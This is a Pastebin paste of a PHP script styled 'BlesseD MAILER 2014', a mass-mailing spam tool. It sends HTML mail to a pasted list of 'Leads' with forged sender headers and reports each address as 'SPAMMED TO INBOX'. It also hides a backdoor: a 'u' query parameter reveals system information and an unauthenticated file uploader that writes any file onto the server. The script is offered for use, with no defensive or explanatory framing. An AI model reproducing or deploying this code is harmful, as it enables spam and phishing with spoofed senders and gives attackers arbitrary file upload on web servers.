PalmaSolutions

jmails.php

Apr 7th, 2018
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.89 KB | None | 0 0
  1. <?php
  2. mb_http_input("iso-8859-1");
  3. mb_http_output("iso-8859-1");
  4. ?>
  5. <?php
  6. @set_time_limit(0);
  7. if(isset($_POST['send']))
  8. {
  9.     $message = $_POST['html'];
  10.     $subject = $_POST['ursubject'];
  11.     $uremail = $_POST['uremail'];
  12.     $urname = $_POST['realname'];
  13.     $email = $_POST['email'];
  14.  
  15.     $message = urlencode($message);
  16.     $message = ereg_replace("%5C%22", "%22", $message);
  17.     $message = urldecode($message);
  18.     $message = stripslashes($message);
  19.  
  20. }else{
  21.     $testa ="";
  22.     $message = "";
  23.     $subject = "";
  24.     $urname = "";
  25.     $uremail = "";
  26.     $email = "";
  27. }
  28. ?>
  29. <?php
  30.  
  31. if(isset($_GET['u'])){echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) {   if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>uplod Sucess By w4l3XzY3 \\</b><br><br>'; }  else { echo '<b>Upload Failed !!!</b><br><br>'; } }
  32.  
  33. }
  34.  
  35. ?>
  36. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  37. <html xmlns="http://www.w3.org/1999/xhtml"><head>
  38. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  39. <link rel="SHORTCUT ICON" href="http://www.smt.org//images/favicon.ico">
  40. <title>BlesseD MAILER 2014&trade;</title>
  41. <style type="text/css">
  42. <!--
  43. .form {font-family: "Courier New", Courier, monospace;border:none, background-color:#000000;}
  44. .send {font-family: "Courier New", Courier, monospace;border:none; font-size:18px; background-color:#FFFFFF; font-black:bold}
  45. #Layer1 {   position:absolute;
  46.     left:203px;
  47.     top:109px;
  48.     width:829px;
  49.     height:483px;
  50.     z-index:1;
  51.     margin-top: 0.5%;
  52.     margin-right: 5%;
  53.     right: 20%;
  54.     bottom: 200%;
  55.     margin-bottom: 10%;
  56.     margin-left: 5%;
  57.     border: thin solid #000;
  58. }
  59.  
  60. -->
  61. </style>
  62. </head>
  63.  
  64. <body>
  65. <form action="" method="post" name="codered">
  66. <div align="center" id="Layer1">
  67.   <table width="87%" height="77%" border="0" cellspacing="10">
  68.     <tbody><tr>
  69.       <td height="23" colspan="2"><div align="center" class="form">B L E S S E D S I N N E R </div></td>
  70.     </tr>
  71.     <tr>
  72.       <td width="53%" height="24"><div align="center">
  73.         <input name="uremail" type="text" class="form" id="uremail" size="30" value="<? print $uremail; ?>" placeholder="Your E-mail">
  74.       </div></td>
  75.       <td width="47%"><div align="center">
  76.         <input name="realname" type="text" class="form" id="realname" size="30" value="<? print $urname; ?>" placeholder="Your Name">
  77.       </div></td>
  78.     </tr>
  79.     <tr>
  80.       <td height="34" colspan="2"><div align="center">
  81.         <input name="ursubject" type="text" class="form" id="ursubject" size="83%" value="<? print $subject; ?>" placeholder="Your Subject Should Be Here">
  82.       </div>
  83.       </td>
  84.     </tr>
  85.     <tr>
  86.       <td height="165"><textarea name="html" class="form" cols="40" rows="10" placeholder="Your HTML MESSAGE Here" id="html"><? print $message; ?></textarea></td>
  87.       <td>
  88.       <div align="right">
  89.         <textarea class="form" rows="10" placeholder="Leads" name="email" cols="35"><? print $email; ?></textarea>
  90.       </div></td></tr>
  91.   </tbody>
  92.   </table>
  93.   <div><input type="submit" class="send" name="send" value="Start Sending">
  94.   </div><DIV class="send"><?php
  95. if(!isset($_POST['send'])){
  96.     exit;
  97. }
  98.  
  99. if(!isset($_GET['c']))
  100. {
  101.     $email = explode("\n", $email);
  102. }else{
  103.     $email = explode(",", $email);
  104. }
  105. $son = count($email);
  106.  
  107. if(!isset($_GET['e'])){
  108.     $header = "MIME-Version: 1.0\n";
  109.     $header .= "Content-type: text/html; charset=iso-8859-1\n";
  110.     $header .= "From: ".$urname . " <" . $uremail . ">\n";
  111.     $header .= "Reply-To: " . $uremail . "\n";
  112.     $header .= "X-Priority: 3\n";
  113.     $header .= "X-MSMail-Priority: Normal\n";
  114.     $header .= "X-Mailer: ".$_SERVER["HTTP_HOST"];
  115. }else{
  116.     $header ='MIME-Version: 1.0' . "\r\n";
  117.     $header .= 'Content-type: text/html' . "\r\n";
  118.     $header .="From: ".$uremail;
  119. }
  120. $i = 0;
  121. $voy=1;
  122. while($email[$i])
  123. {
  124.     if(isset($_GET['time']) && isset($_GET['cant'])){
  125.         if(fmod($i,$_GET['cant'])==0 && $i>0){
  126.             print "----------------------------------> wait ".$_GET['time']." Segs. Sending to ".$_GET['notf']."...<br>\n";
  127.             flush();
  128.             @mail($_GET['notf'], $subject, $message, $header);
  129.             sleep($_GET['time']);
  130.         }
  131.     }
  132.     $mail = str_replace(array("\n","\r\n"),'',$email[$i]);
  133.         $message1 = ereg_replace("&email&", $mail, $message);
  134.     if(@mail($mail, $subject, $message1, $header))
  135.     {
  136.         print "<font color=blue face=verdana size=1>    ".$voy." OF ".$son."  ;-) ".trim($mail)."  SPAMMED TO INBOX</font><br>\n";
  137.         flush();
  138.     }
  139.     else
  140.     {
  141.         print "<font color=red face=verdana size=1>    ".$voy." OF ".$son.":-( ".trim($mail)."  OOOPSS!!! SOMETHING IS WRONG</font><br>\n";
  142.         flush();
  143.     }                                                            
  144.     $i++;
  145.     $voy++;
  146. }
  147.  
  148. ?>
  149. </DIV>
  150. </div>
  151. </form>
Advertisement
Add Comment
Please, Sign In to add comment